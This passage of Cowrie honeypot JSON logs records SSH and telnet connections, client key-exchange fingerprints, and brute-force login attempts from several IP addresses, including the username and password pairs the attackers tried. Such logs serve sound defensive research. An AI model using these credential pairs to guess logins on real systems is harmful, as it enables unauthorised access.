af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:41.196671Z","src_ip":"150.95.157.171","session":"ee7ec54c0c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"abc123","message":"login attempt [postgres/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:41.848956Z","src_ip":"150.95.157.171","session":"ee7ec54c0c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:43.005331Z","src_ip":"150.95.157.171","session":"ee7ec54c0c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.251.168.203","src_port":49604,"dst_ip":"10.17.0.5","dst_port":23,"session":"a17eb23cdf7a","protocol":"telnet","message":"New connection: 189.251.168.203:49604 (10.17.0.5:23) [session: a17eb23cdf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:47.729221Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.27.156.21","src_port":60764,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e2a3a78bc6","protocol":"telnet","message":"New connection: 36.27.156.21:60764 (10.17.0.5:23) [session: f6e2a3a78bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:49.638602Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":16146,"dst_ip":"159.203.135.109","dst_port":22,"session":"33b75fcb365f","protocol":"ssh","message":"New connection: 125.166.19.90:16146 (159.203.135.109:22) [session: 33b75fcb365f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:55.972533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:55.977632Z","src_ip":"125.166.19.90","session":"33b75fcb365f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:56.251465Z","src_ip":"125.166.19.90","session":"33b75fcb365f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#321","message":"login attempt [ubuntu/ubuntu#321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:57.375601Z","src_ip":"125.166.19.90","session":"33b75fcb365f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:58.651034Z","src_ip":"125.166.19.90","session":"33b75fcb365f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.444487571716309,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:01.173611Z","src_ip":"189.251.168.203","session":"a17eb23cdf7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.464898824691772,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:03.103404Z","src_ip":"36.27.156.21","session":"f6e2a3a78bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55720,"dst_ip":"159.203.135.109","dst_port":22,"session":"8468904a3674","protocol":"ssh","message":"New connection: 159.203.92.129:55720 (159.203.135.109:22) [session: 8468904a3674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:20.317941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:20.322769Z","src_ip":"159.203.92.129","session":"8468904a3674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:20.327376Z","src_ip":"159.203.92.129","session":"8468904a3674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root!Q@WE","message":"login attempt [administrator/root!Q@WE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:20.339487Z","src_ip":"159.203.92.129","session":"8468904a3674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:21.346445Z","src_ip":"159.203.92.129","session":"8468904a3674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.85.132.252","src_port":60170,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9f4de8f6bd1","protocol":"telnet","message":"New connection: 47.85.132.252:60170 (10.17.0.5:23) [session: c9f4de8f6bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:26.426199Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":34462,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e507b25918a","protocol":"ssh","message":"New connection: 185.40.30.168:34462 (159.203.135.109:22) [session: 5e507b25918a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:28.600404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:28.604905Z","src_ip":"185.40.30.168","session":"5e507b25918a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:28.732936Z","src_ip":"185.40.30.168","session":"5e507b25918a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"d3v","message":"login attempt [dev/d3v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:29.286301Z","src_ip":"185.40.30.168","session":"5e507b25918a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:29.684251Z","src_ip":"47.85.132.252","session":"c9f4de8f6bd1","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:29.730824Z","src_ip":"47.85.132.252","session":"c9f4de8f6bd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:30.438682Z","src_ip":"185.40.30.168","session":"5e507b25918a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":32854,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a99574b6985","protocol":"ssh","message":"New connection: 150.95.157.171:32854 (10.17.0.5:22) [session: 2a99574b6985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:33.629585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:33.632883Z","src_ip":"150.95.157.171","session":"2a99574b6985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:33.790504Z","src_ip":"150.95.157.171","session":"2a99574b6985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass@2021","message":"login attempt [ubuntu/Pass@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:34.441612Z","src_ip":"150.95.157.171","session":"2a99574b6985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:43:35.599088Z","src_ip":"150.95.157.171","session":"2a99574b6985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53216,"dst_ip":"159.203.135.109","dst_port":22,"session":"46f949270149","protocol":"ssh","message":"New connection: 159.203.92.129:53216 (159.203.135.109:22) [session: 46f949270149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:03.645989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:03.651387Z","src_ip":"159.203.92.129","session":"46f949270149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:03.656717Z","src_ip":"159.203.92.129","session":"46f949270149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root.123","message":"login attempt [administrator/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:03.676465Z","src_ip":"159.203.92.129","session":"46f949270149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:04.722846Z","src_ip":"159.203.92.129","session":"46f949270149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":44754,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f4e68272f22","protocol":"ssh","message":"New connection: 185.40.30.168:44754 (159.203.135.109:22) [session: 2f4e68272f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:22.369975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:22.374901Z","src_ip":"185.40.30.168","session":"2f4e68272f22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:22.499955Z","src_ip":"185.40.30.168","session":"2f4e68272f22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd1234!@#","message":"login attempt [root/Asd1234!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:23.028466Z","src_ip":"185.40.30.168","session":"2f4e68272f22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:24.156712Z","src_ip":"185.40.30.168","session":"2f4e68272f22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":49906,"dst_ip":"10.17.0.5","dst_port":22,"session":"44c90d8de872","protocol":"ssh","message":"New connection: 150.95.157.171:49906 (10.17.0.5:22) [session: 44c90d8de872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:26.302292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:26.309855Z","src_ip":"150.95.157.171","session":"44c90d8de872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:26.459982Z","src_ip":"150.95.157.171","session":"44c90d8de872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser001","message":"login attempt [ftpuser/ftpuser001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:27.077116Z","src_ip":"150.95.157.171","session":"44c90d8de872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:28.232570Z","src_ip":"150.95.157.171","session":"44c90d8de872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50048,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e3e4b88a44e","protocol":"ssh","message":"New connection: 159.203.92.129:50048 (159.203.135.109:22) [session: 1e3e4b88a44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:44:48.649079Z"}
